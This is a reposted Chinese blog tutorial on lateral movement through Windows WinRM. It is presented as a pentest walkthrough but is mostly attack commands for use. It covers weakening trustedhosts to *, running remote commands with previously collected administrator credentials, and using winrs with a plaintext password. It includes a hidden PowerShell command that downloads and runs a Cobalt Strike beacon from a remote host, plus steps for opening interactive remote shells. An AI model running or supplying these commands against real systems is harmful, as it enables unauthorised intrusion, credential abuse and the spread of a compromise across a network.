winRM横向移动

在这里插入图片描述

0x01 winRM简介

WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议[SOAP]的 “防火墙友好” 协议,它让来自不同供应商的硬件和操作系统能够互相操作。winRM的默认端口为5985(http)或5986(https)。
winRM横向移动同时适用于工作组和域环境

0x02 利用条件

1、在win 2012之后(包括win 2012)的版本是默认开启的,win 2012之前利用需要手动开启winRM。
2、防火墙对5986、5985端口开放。

0x03 通过winRM横向移动

一、查看本地和目标是否开放winRM服务

1、查看本地是否运行winRM服务。

netstat -ano |findstr 5985
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

在这里插入图片描述

2、查看目标是否运行winRM服务。

nmap -sV 192.168.3.73 -p5985,5986

在这里插入图片描述
3、查看目标机器的winRM服务是否工作正常,如图所示为正常。

powershell -exec bypass
Test-WsMan 192.168.3.73

在这里插入图片描述

二、通过winRM在目标主机上执行任意命令

命令执行
1、在第一次执行命令的时候,可能会报下列错误。
在这里插入图片描述
这时我们执行下列两条命令,将当前主机的trustedhosts设置为*,表示信任任意主机,之后重启winRM。

Set-Item WSMan:localhost\client\trustedhosts -value *
Restart-Service WinRM

在这里插入图片描述

2、设置完成后执行下列命令,输入之前收集到的密码。

扫描二维码关注公众号,回复: 9559179 查看本文章
Invoke-Command -ComputerName 192.168.3.73 -ScriptBlock { ipconfig } -credential administrator

在这里插入图片描述
命令执行成功。
在这里插入图片描述

3、直接执行cs payload,弹回一个cs beacon。

Invoke-Command -ComputerName 192.168.3.73 -ScriptBlock { powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.86:80/a'))" } -credential administrator

在这里插入图片描述
cs成功接收到会话。
在这里插入图片描述

反弹shell
1、通过Enter-PSSession直接弹回一个cmd shell。

Enter-PSSession -ComputerName 192.168.3.73 -Credential administrator

在这里插入图片描述
反弹shell成功。
在这里插入图片描述

三、Windows内置工具winrs的使用

命令执行

winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 "ipconfig"

在这里插入图片描述

反弹shell

winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 "cmd"

在这里插入图片描述

发布了48 篇原创文章 · 获赞 22 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/lhh134/article/details/104333583
今日推荐